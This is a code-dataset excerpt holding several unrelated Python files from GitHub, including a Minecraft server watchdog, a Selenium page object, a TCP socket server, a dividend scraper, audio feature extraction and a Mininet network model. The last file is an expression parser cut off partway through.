newestProcess.create_time():\n newestProcess = process\n\n\n logging.warning(\n 'Terminating process number {PID}, an instance of {SERVER_NICK} server.'.format(\n PID=newestProcess.pid,\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' Process was originally started with the following command:\\n{START_COMMAND}'.format(\n START_COMMAND=newestProcess.cmdline()\n )\n )\n\n newestProcess.terminate()\n\n for index in range(60):\n time.sleep(1)\n\n if not newestProcess.is_running():\n break\n\n\n if newestProcess.is_running():\n newestProcess.kill()\n\n time.sleep(5)\n PIDs = self._getPIDs()\n\n\n if self._online:\n # Minecraft server should currently be online and responsive\n\n if len(PIDs) == 0:\n logging.debug(\n '{SERVER_NICK} server is desired to be online, but no process was found.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' Server will now be started.'\n )\n\n # Remove restart events from any previous processes\n self._cancelRestartEvents()\n self._online = False\n self.start()\n\n elif len(PIDs) == 1:\n logging.debug(\n '{SERVER_NICK} server is desired to be online, and is currently running.'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n )\n\n if self._config['ENABLE_RESPONSIVENESS_CHECK']:\n upTime = self.getUptime()\n\n # Perform a responsiveness test if the server has been online for long\n # enough.\n if upTime > self._config['STARTUP_TIME']:\n\n if not self.isResponsive():\n # Server has failed responsiveness test, repeat test up to 10 more times\n # and if test fails at least 3 times, restart the server\n\n prevResults = []\n\n for index in range(10):\n time.sleep(5)\n prevResults.append(self.isResponsive())\n\n if prevResults.count(False) >= 3:\n logging.warning(\n '{SERVER_NICK} server has failed three network'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' responsiveness tests, and will now be restarted.'\n )\n\n self.restart()\n break\n\n else:\n # Minecraft server should be offline\n if len(PIDs) > 0:\n logging.debug(\n '{SERVER_NICK} server is desired to be offline, but instances of this'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' server are currently running. Server will now be stopped.'\n )\n\n self.stop()\n\n else:\n logging.debug(\n '{SERVER_NICK} server is desired to be offline, and no instances of the'.format(\n SERVER_NICK=self._config['SERVER_NICK']\n )\n + ' server are currently running.'\n )\n\n\n # Tell the scheduler to call the self.check method again in 60 seconds\n self._scheduleCheck()\n","repo_name":"stevestech/pycraft","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":27158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"41946507555","text":"import processing\nimport visualizations\nimport analysis\n\nfrom pyfiglet import Figlet\nfrom PyInquirer import style_from_dict, Token, prompt, Separator\nfrom prettytable import PrettyTable\n\nif __name__ == \"__main__\":\n\n # Intro Banner\n f = Figlet(font='slant')\n print(f.renderText('DIPOLE'))\n\n # Style of the questions\n style = style_from_dict({\n Token.Separator: '#cc5454',\n Token.QuestionMark: '#673ab7 bold',\n Token.Selected: '#cc5454', # default\n Token.Pointer: '#673ab7 bold',\n Token.Instruction: '', # default\n Token.Answer: '#f44336 bold',\n Token.Question: '',\n })\n\n\n goal_of_program = [\n {\n 'type': 'list',\n 'message': 'Would you like to visualize or run quantative tests?',\n 'name': 'goal',\n 'choices': [\n {\n 'name': 'Only visualize'\n },\n {\n 'name': 'Only run quantative tests'\n },\n ],\n }\n ]\n\n data_type = [\n {\n 'type': 'list',\n 'message': 'What data set would you like as input?',\n 'name': 'data',\n 'choices': [\n {\n 'name': 'All data sets from original paper'\n },\n {\n 'name': 'All new data sets'\n },\n {\n 'name': 'Mammoth data set (from original paper)'\n },\n {\n 'name': 'Brain Artery Tree data set (from original paper)'\n },\n {\n 'name': 'Stanford Faces data set (from original paper)'\n },\n {\n 'name': 'Swiss Roll with Holes data set (from original paper)'\n },\n {\n 'name': 'Collection of circles ambient in 3D'\n },\n {\n 'name': 'First hand data set'\n },\n {\n 'name': 'Second hand data set'\n },\n {\n 'name': 'Tracing Heart data set'\n },\n {\n 'name': 'Tracing Heart data set (with outline)'\n },\n ],\n }\n ]\n\n x = PrettyTable()\n\n # Retrieving the desired district\n goal_answer = prompt(goal_of_program, style=style)\n \n # Prompting users with which algorithm they want to pick\n data_answer = prompt(data_type, style=style)\n\n if goal_answer['goal'] == 'Only visualize':\n if data_answer['data'] == 'All data sets from original paper':\n visualizations.mammoth_visualization()\n visualizations.brain_visualization()\n visualizations.swissroll_visualization()\n visualizations.stanford_visualization()\n\n elif data_answer['data'] == 'All new data sets':\n visualizations.pic_data_visualization(\"hand-images-1\")\n visualizations.pic_data_visualization(\"hand-images-2\")\n visualizations.pic_data_visualization(\"heart\")\n visualizations.pic_data_visualization(\"heart-guide\")\n visualizations.circle_visualization()\n \n elif data_answer['data'] == 'Mammoth data set (from original paper)':\n visualizations.mammoth_visualization()\n elif data_answer['data'] == 'Brain Artery Tree data set (from original paper)':\n visualizations.brain_visualization()\n elif data_answer['data'] == 'Stanford Faces data set (from original paper)':\n visualizations.stanford_visualization()\n elif data_answer['data'] == 'Swiss Roll with Holes data set (from original paper)':\n visualizations.swissroll_visualization()\n elif data_answer['data'] == 'Collection of circles ambient in 3D':\n visualizations.circle_visualization()\n elif data_answer['data'] == 'First hand data set':\n visualizations.pic_data_visualization(\"hand-images-1\") \n elif data_answer['data'] == 'Second hand data set':\n visualizations.pic_data_visualization(\"hand-images-2\") \n elif data_answer['data'] == 'Tracing Heart data set':\n visualizations.pic_data_visualization(\"heart\") \n elif data_answer['data'] == 'Tracing Heart data set (with outline)':\n visualizations.pic_data_visualization(\"heart-guide\") \n\n if goal_answer['goal'] == 'Only run quantative tests':\n if data_answer['data'] == 'All data sets from original paper':\n analysis.mammoth_analyse()\n analysis.brain_analyse()\n analysis.swissroll_analyse()\n analysis.stanford_analyse()\n\n elif data_answer['data'] == 'All new data sets':\n analysis.pic_data_analyse(\"hand-images-1\")\n analysis.pic_data_analyse(\"hand-images-2\")\n analysis.pic_data_analyse(\"heart\")\n analysis.pic_data_analyse(\"heart-guide\")\n analysis.circle_analyse()\n \n elif data_answer['data'] == 'Mammoth data set (from original paper)':\n analysis.mammoth_analyse()\n elif data_answer['data'] == 'Brain Artery Tree data set (from original paper)':\n analysis.brain_analyse()\n elif data_answer['data'] == 'Stanford Faces data set (from original paper)':\n analysis.stanford_analyse()\n elif data_answer['data'] == 'Swiss Roll with Holes data set (from original paper)':\n analysis.swissroll_analyse()\n elif data_answer['data'] == 'Collection of circles ambient in 3D':\n analysis.circle_analyse()\n elif data_answer['data'] == 'First hand data set':\n analysis.pic_data_analyse(\"hand-images-1\") \n elif data_answer['data'] == 'Second hand data set':\n analysis.pic_data_analyse(\"hand-images-2\") \n elif data_answer['data'] == 'Tracing Heart data set':\n analysis.pic_data_analyse(\"heart\") \n elif data_answer['data'] == 'Tracing Heart data set (with outline)':\n analysis.pic_data_analyse(\"heart-guide\") \n \n\n print(\"Check the figures folder for the output!\")\n\n ","repo_name":"sliemelela/TDA2022DIPOLE","sub_path":"runme.py","file_name":"runme.py","file_ext":"py","file_size_in_byte":6215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"11704370939","text":"from time import sleep\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.remote.webdriver import WebDriver\n\n# 这是一个添加成员的PO\nfrom pytest_web.selenium_wework_main.page.base_page import BasePage\n\n\nclass Addmenber(BasePage):\n\n def add_menber(self):\n # sendkeys\n self.find(By.ID, \"username\").send_keys('name219')\n # self.find(By.ID, \"memberAdd_english_name\").send_keys(\"3211208\")\n self.find(By.ID, \"memberAdd_acctid\").send_keys(\"zhang1hao208\")\n self.find(By.ID, \"memberAdd_phone\").send_keys(\"13121111387\")\n self.find(By.CSS_SELECTOR, '.js_btn_save').click()\n\n def page(self):\n # 得到当前页的分页的数据 获取到当前分页的文本 1/10\n content: str = self.find(By.CSS_SELECTOR, '.ww_pageNav_info_text').text\n # 使用python自带的分割 得到页数的 当前页和总页数的数据 使用斜杠作为分隔符 切割一次得到一个list list[0]=1 list[1]=10\n # 强行把得到的list分页数据 转换为int类型 使用for循环遍历list数据改为数组\n return [int(x) for x in content.split('/', 1)]\n\n def get_menber(self, value): # 传值做判断 不用每一个都把数据追加到list里面去\n self.wait_for((By.CSS_SELECTOR, '.member_colRight_memberTable_td:nth-child(2)'))\n cur_page, total_page = self.page()\n # 提取出来之后使用死循环遍历数据\n while True:\n # 获取 通讯录中的姓名列\n elements = self.finds(By.CSS_SELECTOR, '.member_colRigh t_memberTable_td:nth-child(2)')\n # 使用循环得到每一页的title 也就是姓名的数据\n for element in elements: # 使用判断 如果获取元素组中有传进来的那个元素 直接返回True\n if value == element.get_attribute(\"title\"):\n return True\n # 更新当前页数据\n cur_page = self.page()[0]\n # 如果当前页的数据等等于总页数 就说明到了页尾\n if cur_page == total_page:\n # 如果到了页尾都没找到这个元素 直接返回False 就是没有找到这个元素\n return False\n # 点击当前页面的分页数据 下一页的数据 如果不等于\n self.find(By.CSS_SELECTOR, '.js_next_page').click()\n # # 如果当前页的页数小于总页数\n # if cur_page < total_page:\n # # 就去替换当前页的数据 cur_page 更新当前页\n # cur_page= [int(x) for x in content.split('/', 1)][0]\n\n # for element in elements:\n # list.append(element.get_attribute(\"title\"))\n # return list\n # return [element.get_attribute(\"title\") for element in elements] #上面方式的简洁版本\n","repo_name":"aj1218/hogwarts_test","sub_path":"pytest_web/selenium_wework_main/page/add_menber.py","file_name":"add_menber.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"23279179735","text":"import socket\nimport threading\n\nheader = 64\nserver_name = socket.gethostbyname(socket.gethostname())\nport = 7777\naddress = (server_name, port)\ndisconnect_msg = \"!DISCONNECT\"\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind(address)\n\n\ndef handle_client(conn, addr):\n print(f\"New Connection {addr} connected.\")\n connected = True\n while connected:\n msg_length = conn.recv(header).decode('utf-8')\n if msg_length:\n msg_length = int(msg_length)\n msg = conn.recv(msg_length).decode('utf-8')\n if msg == disconnect_msg:\n connected = False\n\n print(f\"{addr} - {msg}\")\n conn.send(\"Msg received.\".encode('utf-8'))\n\n conn.close()\n\ndef start():\n server.listen()\n print(f\"Server running on {server_name}\")\n while True:\n conn, addr = server.accept()\n thread = threading.Thread(target=handle_client, args=(conn, addr))\n thread.start()\n print(f\"Active connections {threading.activeCount()-1}\")\n\nprint(\"Server is starting...\")\nstart()","repo_name":"lucasestevesr/Python-TCP-socket","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"3176973729","text":"from selenium import webdriver\r\nfrom selenium.webdriver import Firefox\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.by import By\r\nfrom time import sleep\r\nimport json\r\nimport timeit\r\n\r\n\r\ndef get_dividend_json(symbol):\r\n options = webdriver.FirefoxOptions()\r\n options.add_argument('--headless')\r\n\r\n # GoogleBot User Agent\r\n options.add_argument(\r\n f\"--user-agent=Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html\")\r\n\r\n driver = webdriver.Firefox(options)\r\n driver.get(\"https://seekingalpha.com/symbol/\" +\r\n symbol+\"/dividends/scorecard\")\r\n sleep(1)\r\n price = driver.find_element(\r\n By.XPATH, '//*[@id=\"content\"]/div[2]/div/div[1]/div/div[2]/span[1]').text.replace('$', \"\")\r\n dividend = driver.find_element(\r\n By.XPATH, '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/section[3]/div/div[2]/div/div[1]/div[2]').text.replace('$', \"\")\r\n frequency = driver.find_element(\r\n By.XPATH, '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/section[3]/div/div[2]/div/div[6]/div[2]').text\r\n driver.quit()\r\n dividend_json = json.dumps({'Price': float(price), 'Dividend Amount': float(\r\n dividend), 'Dividend Frequency': frequency})\r\n return dividend_json\r\n\r\n\r\n\"\"\"\r\nstart = timeit.default_timer()\r\nprint(get_dividendJSON(\"PSEC\"))\r\nstop = timeit.default_timer()\r\nprint(stop-start)\r\n\"\"\"\r\n","repo_name":"Zennou/DividendAPI","sub_path":"my_dividend_scraper.py","file_name":"my_dividend_scraper.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"16925746744","text":"import os\nimport sys\nsys.path.insert(1, os.path.join(sys.path[0], 'utils'))\nimport numpy as np\nimport argparse\nimport h5py\nimport librosa\nfrom scipy import signal\nimport matplotlib.pyplot as plt\nimport time\nimport math\nimport pandas as pd\nimport random\n\nfrom utilities import (create_folder, read_audio, calculate_scalar_of_tensor, \n pad_truncate_sequence)\nimport config\n\n\nclass LogMelExtractor(object):\n def __init__(self, sample_rate, window_size, hop_size, mel_bins, fmin, fmax):\n '''Log mel feature extractor. \n \n Args:\n sample_rate: int\n window_size: int\n hop_size: int\n mel_bins: int\n fmin: int, minimum frequency of mel filter banks\n fmax: int, maximum frequency of mel filter banks\n '''\n \n self.window_size = window_size\n self.hop_size = hop_size\n self.window_func = np.hanning(window_size)\n \n self.melW = librosa.filters.mel(\n sr=sample_rate, \n n_fft=window_size, \n n_mels=mel_bins, \n fmin=fmin, \n fmax=fmax).T\n '''(n_fft // 2 + 1, mel_bins)'''\n\n def transform(self, audio):\n '''Extract feature of a singlechannel audio file. \n \n Args:\n audio: (samples,)\n \n Returns:\n feature: (frames_num, freq_bins)\n '''\n \n window_size = self.window_size\n hop_size = self.hop_size\n window_func = self.window_func\n \n # Compute short-time Fourier transform\n stft_matrix = librosa.core.stft(\n y=audio, \n n_fft=window_size, \n hop_length=hop_size, \n window=window_func, \n center=True, \n dtype=np.complex64, \n pad_mode='reflect').T\n '''(N, n_fft // 2 + 1)'''\n \n # Mel spectrogram\n mel_spectrogram = np.dot(np.abs(stft_matrix) ** 2, self.melW)\n \n # Log mel spectrogram\n logmel_spectrogram = librosa.core.power_to_db(\n mel_spectrogram, ref=1.0, amin=1e-10, \n top_db=None)\n \n logmel_spectrogram = logmel_spectrogram.astype(np.float32)\n \n return logmel_spectrogram\n\n\ndef read_metadata(metadata_path, data_type, mini_data):\n '''Read metadata csv file. \n \n Args:\n metadata_path: string\n data_type: 'train' | 'validate'\n mini_data: bool, set True for debugging on a small part of data\n \n Returns:\n meta_dict\n '''\n\n fine_labels = config.fine_labels\n fine_classes_num = config.fine_classes_num\n fine_lb_to_idx = config.fine_lb_to_idx\n coarse_labels = config.coarse_labels\n coarse_classes_num = config.coarse_classes_num\n coarse_lb_to_idx = config.coarse_lb_to_idx\n\n # Read csv data\n assert data_type in ['train', 'validate']\n df = pd.read_csv(metadata_path, sep=',')\n df = df[df['split'] == data_type].reset_index()\n \n # Each audio may be annotated by multiple labelers. So remove duplicate \n # audio names. \n audio_names = np.array(sorted(list(set(df['audio_filename']))))\n \n if mini_data:\n random_state = np.random.RandomState(1234)\n random_state.shuffle(audio_names)\n audio_names = audio_names[0 : 10]\n\n fine_targets = []\n coarse_targets = []\n \n for audio_name in audio_names:\n # One audio_name may have multiple labelers\n indexes = df.index[df['audio_filename'] == audio_name]\n fine_target = np.zeros(fine_classes_num)\n coarse_target = np.zeros(coarse_classes_num)\n \n # Aggregating annotation of multiple labelers\n for index in indexes:\n for fine_label in fine_labels:\n class_idx = fine_lb_to_idx[fine_label]\n label_type = '{}_presence'.format(fine_label)\n fine_target[class_idx] += df.iloc[index][label_type]\n \n for coarse_label in coarse_labels:\n class_idx = coarse_lb_to_idx[coarse_label]\n label_type = '{}_presence'.format(coarse_label)\n coarse_target[class_idx] += df.iloc[index][label_type]\n \n # Annotation of an audio is the average annotation of multiple labelrs\n fine_target /= len(indexes)\n coarse_target /= len(indexes)\n \n fine_targets.append(fine_target)\n coarse_targets.append(coarse_target)\n \n fine_targets = np.array(fine_targets)\n coarse_targets = np.array(coarse_targets)\n \n meta_dict = {\n 'audio_name': audio_names, \n 'fine_target': fine_targets, \n 'coarse_target': coarse_targets}\n\n return meta_dict\n\n\ndef read_evaluate_metadata(audios_dir, mini_data):\n audio_names = sorted(os.listdir(audios_dir))\n\n if mini_data:\n audio_names = audio_names[0 : 10]\n\n meta_dict = {'audio_name': audio_names}\n \n return meta_dict\n\n\ndef calculate_feature_for_all_audio_files(args):\n '''Calculate feature of audio files and write out features to a single hdf5 \n file. \n \n Args:\n dataset_dir: string\n workspace: string\n data_type: 'train' | 'validate' | 'evaluate'\n mini_data: bool, set True for debugging on a small part of data\n '''\n \n # Arguments & parameters\n dataset_dir = args.dataset_dir\n data_type = args.data_type\n workspace = args.workspace\n mini_data = args.mini_data\n \n sample_rate = config.sample_rate\n window_size = config.window_size\n hop_size = config.hop_size\n mel_bins = config.mel_bins\n fmin = config.fmin\n fmax = config.fmax\n frames_per_second = config.frames_per_second\n frames_num = config.frames_num\n total_samples = config.total_samples\n \n # Paths\n if mini_data:\n prefix = 'minidata_'\n else:\n prefix = ''\n \n metadata_path = os.path.join(dataset_dir, 'annotations.csv')\n\n if data_type in ['train', 'validate']:\n audios_dir = os.path.join(dataset_dir, data_type)\n elif data_type == 'evaluate':\n audios_dir = os.path.join(dataset_dir, 'audio-eval')\n \n feature_path = os.path.join(workspace, 'features', \n '{}logmel_{}frames_{}melbins'.format(prefix, frames_per_second, mel_bins), \n '{}.h5'.format(data_type))\n create_folder(os.path.dirname(feature_path))\n \n # Feature extractor\n feature_extractor = LogMelExtractor(\n sample_rate=sample_rate, \n window_size=window_size, \n hop_size=hop_size, \n mel_bins=mel_bins, \n fmin=fmin, \n fmax=fmax)\n\n # Read metadata\n print('Extracting features of all audio files ...')\n extract_time = time.time()\n \n if data_type in ['train', 'validate']:\n meta_dict = read_metadata(metadata_path, data_type, mini_data)\n elif data_type == 'evaluate':\n meta_dict = read_evaluate_metadata(audios_dir, mini_data)\n\n # Hdf5 containing features and targets\n hf = h5py.File(feature_path, 'w')\n\n hf.create_dataset(\n name='audio_name', \n data=[audio_name.encode() for audio_name in meta_dict['audio_name']], \n dtype='S32')\n\n if 'fine_target' in meta_dict.keys():\n hf.create_dataset(\n name='fine_target', \n data=meta_dict['fine_target'], \n dtype=np.float32)\n \n if 'coarse_target' in meta_dict.keys():\n hf.create_dataset(\n name='coarse_target', \n data=meta_dict['coarse_target'], \n dtype=np.float32)\n\n hf.create_dataset(\n name='feature', \n shape=(0, frames_num, mel_bins), \n maxshape=(None, frames_num, mel_bins), \n dtype=np.float32)\n\n for (n, audio_name) in enumerate(meta_dict['audio_name']):\n audio_path = os.path.join(audios_dir, audio_name)\n print(n, audio_path)\n \n # Read audio\n (audio, _) = read_audio(\n audio_path=audio_path, \n target_fs=sample_rate)\n\n # Pad or truncate audio recording\n audio = pad_truncate_sequence(audio, total_samples)\n \n # Extract feature\n feature = feature_extractor.transform(audio)\n \n # Remove the extra frames caused by padding zero\n feature = feature[0 : frames_num]\n \n hf['feature'].resize((n + 1, frames_num, mel_bins))\n hf['feature'][n] = feature\n \n hf.close()\n \n print('Write hdf5 file to {} using {:.3f} s'.format(\n feature_path, time.time() - extract_time))\n \n \ndef calculate_scalar(args):\n '''Calculate and write out scalar of features. \n \n Args:\n workspace: string\n data_type: 'train'\n mini_data: bool, set True for debugging on a small part of data\n '''\n\n # Arguments & parameters\n data_type = args.data_type\n workspace = args.workspace\n mini_data = args.mini_data\n \n mel_bins = config.mel_bins\n frames_per_second = config.frames_per_second\n \n # Paths\n if mini_data:\n prefix = 'minidata_'\n else:\n prefix = ''\n \n feature_path = os.path.join(workspace, 'features', \n '{}logmel_{}frames_{}melbins'.format(prefix, frames_per_second, mel_bins), \n '{}.h5'.format(data_type))\n \n scalar_path = os.path.join(workspace, 'scalars', \n '{}logmel_{}frames_{}melbins'.format(prefix, frames_per_second, mel_bins), \n '{}.h5'.format(data_type))\n create_folder(os.path.dirname(scalar_path))\n \n # Load data\n load_time = time.time()\n \n with h5py.File(feature_path, 'r') as hf:\n features = hf['feature'][:]\n \n # Calculate scalar\n features = np.concatenate(features, axis=0)\n (mean, std) = calculate_scalar_of_tensor(features)\n \n with h5py.File(scalar_path, 'w') as hf:\n hf.create_dataset('mean', data=mean, dtype=np.float32)\n hf.create_dataset('std', data=std, dtype=np.float32)\n \n print('All features: {}'.format(features.shape))\n print('mean: {}'.format(mean))\n print('std: {}'.format(std))\n print('Write out scalar to {}'.format(scalar_path))\n \n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser(description='')\n subparsers = parser.add_subparsers(dest='mode')\n\n # Calculate feature for all audio files\n parser_logmel = subparsers.add_parser('calculate_feature_for_all_audio_files')\n parser_logmel.add_argument('--dataset_dir', type=str, required=True, help='Directory of dataset.')\n parser_logmel.add_argument('--workspace', type=str, required=True, help='Directory of your workspace.')\n parser_logmel.add_argument('--data_type', type=str, choices=['train', 'validate', 'evaluate'], required=True)\n parser_logmel.add_argument('--mini_data', action='store_true', default=False, help='Set True for debugging on a small part of data.')\n\n # Calculate scalar\n parser_scalar = subparsers.add_parser('calculate_scalar')\n parser_scalar.add_argument('--data_type', type=str, choices=['train'], required=True, help='Scalar is calculated on train data.')\n parser_scalar.add_argument('--workspace', type=str, required=True, help='Directory of your workspace.')\n parser_scalar.add_argument('--mini_data', action='store_true', default=False, help='Set True for debugging on a small part of data.')\n \n # Parse arguments\n args = parser.parse_args()\n \n if args.mode == 'calculate_feature_for_all_audio_files':\n calculate_feature_for_all_audio_files(args)\n \n elif args.mode == 'calculate_scalar':\n calculate_scalar(args)\n \n else:\n raise Exception('Incorrect arguments!')","repo_name":"qiuqiangkong/dcase2019_task5","sub_path":"utils/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":11573,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"24"} +{"seq_id":"28044606192","text":"# Model of Gates Network for Mininet\n# Craig Riecke, CoSciN Developer/Analyst, June, 2015\n#\n# To make this work:\n# - You need to be at Mininet > 2.2, which you should build from source if on Ubuntu 14.04 (the\n# latest dpkg is Mininet 2.1). This will make the links use the right ports instead of \n# sequentially renumbering them\n# - You need vlan package, via \"sudo apt-get install vlan\"\n# - You also need DHCP server and client, packages udhcpd and udhcpc \n# - You NEED OpenVSwitch = 2.1. Install this from mininet - util/install.sh -V 2.1.3 \n# - Version 2.0.2, the one that comes in Ubuntu 14.04, has a \n# bug which sends a truncated packet with packet_in, but with buffer_id=-1 (meaning no buffer)\n# Since you don't have all the data, it's impossible to send out the correct data in packet_out.\n# This really affects DHCP. \n# - Version 2.3 installs a Table Miss rule to drop all packets, and you can't get rid of it.\n# Dell switches are configured to Table-Miss to the controller, and that's REQUIRED because of\n# the insane implementation of ACL and L2/L3 tables. So your scripts won't work here. \n\nimport re\nimport sys\nfrom networkx import *\nimport pygraphviz as pgv\n\n# Mininet imports\nfrom mininet.log import lg, info, error, debug, output\nfrom mininet.util import quietRun\nfrom mininet.node import Host, OVSSwitch, RemoteController\nfrom mininet.cli import CLI\nfrom mininet.net import Mininet\n\n\n# Mercilessly copied from https://github.com/mininet/mininet/blob/master/examples/vlanhost.py\n#\nclass VLANHost( Host ):\n \"Host connected to VLAN interface\"\n\n def config( self, vlan=100, **params ):\n \"\"\"Configure VLANHost according to (optional) parameters:\n vlan: VLAN ID for default interface\"\"\"\n\n r = super( VLANHost, self ).config( **params )\n\n intf = self.defaultIntf()\n # remove IP from default, \"physical\" interface\n self.cmd( 'ifconfig %s inet 0' % intf )\n # create VLAN interface\n self.cmd( 'vconfig add %s %d' % ( intf, vlan ) )\n # assign the host's IP to the VLAN interface\n self.cmd( 'ifconfig %s.%d inet %s' % ( intf, vlan, params['ip'] ) )\n # update the intf name and host's intf map\n newName = '%s.%d' % ( intf, vlan )\n # update the (Mininet) interface to refer to VLAN interface name\n intf.name = newName\n # add VLAN interface to host's name to intf map\n self.nameToIntf[ newName ] = intf\n\n return r\n\n# DHCP server functions and data\n\nDNSTemplate = \"\"\"\nstart 128.253.154.100\nend 128.253.154.250\noption subnet 255.255.255.0\noption domain local\noption lease 3600 # seconds\n\"\"\"\n\ndef makeDHCPconfig( filename, intf, gw, dns ):\n \"Create a DHCP configuration file\"\n config = (\n 'interface %s' % intf,\n DNSTemplate,\n 'option router %s' % gw,\n 'option dns %s' % dns,\n '' )\n with open( filename, 'w' ) as f:\n f.write( '\\n'.join( config ) )\n\ndef startDHCPserver( host, gw, dns ):\n \"Start DHCP server on host with specified DNS server\"\n info( '* Starting DHCP server on', host, 'at', host.IP(), '\\n' )\n dhcpConfig = '/tmp/%s-udhcpd.conf' % host\n makeDHCPconfig( dhcpConfig, host.defaultIntf(), gw, dns )\n host.cmd( 'udhcpd -f', dhcpConfig,\n '1>/tmp/%s-dhcp.log 2>&1 &' % host )\n\ndef start(ip=\"127.0.0.1\",port=6633):\n#def start(ip=\"127.0.0.1\",port=6653):\n\n ctrlr = lambda n: RemoteController(n, ip=ip, port=port, inNamespace=False)\n net = Mininet(switch=OVSSwitch, controller=ctrlr, autoStaticArp=False)\n c1 = net.addController('c1')\n\n gates_agraph = pgv.AGraph(\"simplified_gates_topology.dot\")\n for sw in gates_agraph.nodes():\n net.addSwitch(sw, dpid = hex( int(sw.attr['dpid']) )[2:])\n\n for link in gates_agraph.edges():\n (src_switch, dst_switch) = link\n net.addLink(src_switch, dst_switch, int(link.attr['src_port']), int(link.attr['dport']) )\n\n # Only one host and an Internet Router disguised as a host for now (because it's not part of the OF network)\n h0 = net.addHost('h0', cls=VLANHost, mac='d4:c9:ef:b2:1b:80', ip='128.253.154.1', vlan=1356)\n net.addLink(\"s_bdf\", h0, 1, 0)\n\n # To test DHCP functionality, ucnomment this line and comment out the fixed IP line. Then when mininet\n # starts you issue:\n # mininet> h1 dhclient -v -d -1 h1-eth0.1356\n # and make sure it gets its IP by going through all protocol steps.\n #h1 = net.addHost('h1', cls=VLANHost, mac='00:00:01:00:00:11', ip='0.0.0.0', vlan=1356)\n h1 = net.addHost('h1', cls=VLANHost, mac='00:00:01:00:00:11', ip='128.253.154.100', vlan=1356)\n net.addLink(\"s_f3a\", h1, 32, 0)\n\n # h4{a,b,c} are wireless nodes supposedly hooked up to a dumb AP. You can't just hook them up\n # to the same mininet port. Y \n h4a = net.addHost('h4a', cls=VLANHost, mac='00:00:01:00:00:14', ip='128.253.154.104', vlan=1356)\n net.addLink(\"s_f3a\", h4a, 33, 0)\n #net.addHost('h4b', cls=VLANHost, mac='00:00:01:00:00:14', ip='128.253.154.104', vlan=1356)\n #net.addHost('h4c', cls=VLANHost, mac='00:00:01:00:00:14', ip='128.253.154.104', vlan=1356)\n\n # h2 is a syslab PC\n h2 = net.addHost('h2', cls=VLANHost, mac='00:00:01:00:00:13', ip='128.253.154.102', vlan=1356)\n net.addLink(\"s_lab_r6\", h2, 1, 0)\n\n # MAC spoofing attempt of h2\n h3 = net.addHost('h3', cls=VLANHost, mac='00:00:01:00:00:13', ip='128.253.154.102', vlan=1356)\n net.addLink(\"s_lab_r6\", h3, 2, 0)\n\n ###### Start of static Mininet epilogue ######\n # Set up logging etc.\n lg.setLogLevel('info')\n lg.setLogLevel('output')\n\n # Start the network\n net.start()\n # Start the DHCP server on Internet Router. This will actually be a DHCP proxy in the real setup. \n #startDHCPserver( h0, gw='128.253.154.1', dns='8.8.8.8')\n\n\n # Enter CLI mode\n output(\"Network ready\\n\")\n output(\"Press Ctrl-d or type exit to quit\\n\")\n CLI(net)\n # net.stop()\n\nstart()","repo_name":"coscin/gates","sub_path":"gates_mininet.py","file_name":"gates_mininet.py","file_ext":"py","file_size_in_byte":5831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"74994230143","text":"\nimport sys\n\n\ndef dfs(x,y):\n global cnt\n if x<0 or x>=n or y<0 or y>=m:\n return False\n if array[x][y] == 0:\n array[x][y] = 1\n cnt+=1\n for i in range(4):\n nx = x+dx[i]\n ny = y+dy[i]\n dfs(nx,ny)\n return True\n return False\n\nsys.setrecursionlimit(10**6)\ndx = [-1,1,0,0]\ndy = [0,0,-1,1]\nn,m,k = map(int,input().split())\narray = [[0 for _ in range(m)] for _ in range(n)]\nfor i in range(k):\n start_x,start_y,end_x,end_y = map(int,input().split())\n for j in range(start_x,end_x):\n for k in range(start_y,end_y):\n array[k][j] = 1\nresult = []\ncount = 0\nfor i in range(n):\n for k in range(m):\n cnt = 0\n if dfs(i,k) == True:\n result.append(cnt)\n count+=1\nresult.sort()\nprint(count)\nfor i in result:\n print(i,end=\" \")","repo_name":"JangYunSeong/Algorithm","sub_path":"bfs15.py","file_name":"bfs15.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"4871415579","text":"from files.Tree_Nodes import *\r\nfrom queue import LifoQueue\r\n\r\ndef expr(prev_precedence):\r\n lhs = term()\r\n while(len(lexeme_list) > 0):\r\n op = lexeme_list.pop(0)\r\n if(op == \"RPAREN\"):\r\n break\r\n current_precedence = precedence(op)\r\n if(current_precedence < prev_precedence):\r\n lexeme_list.insert(0, op)\r\n break\r\n elif(len(lexeme_list) > 0):\r\n if(association(op) == \"left\"):\r\n rhs = expr(current_precedence + 1)\r\n else:\r\n rhs = expr(current_precedence)\r\n lhs = ExpressionNode(op, lhs, rhs) \r\n return lhs\r\n\r\n\r\ndef term():\r\n value = lexeme_list.pop(0)\r\n if(value[0:6] == \"NUMBER\"):\r\n return NumberNode(float(value[7:len(value) - 1]))\r\n elif(value == \"PI\"):\r\n return NumberNode(pi)\r\n elif(value == \"E\"):\r\n 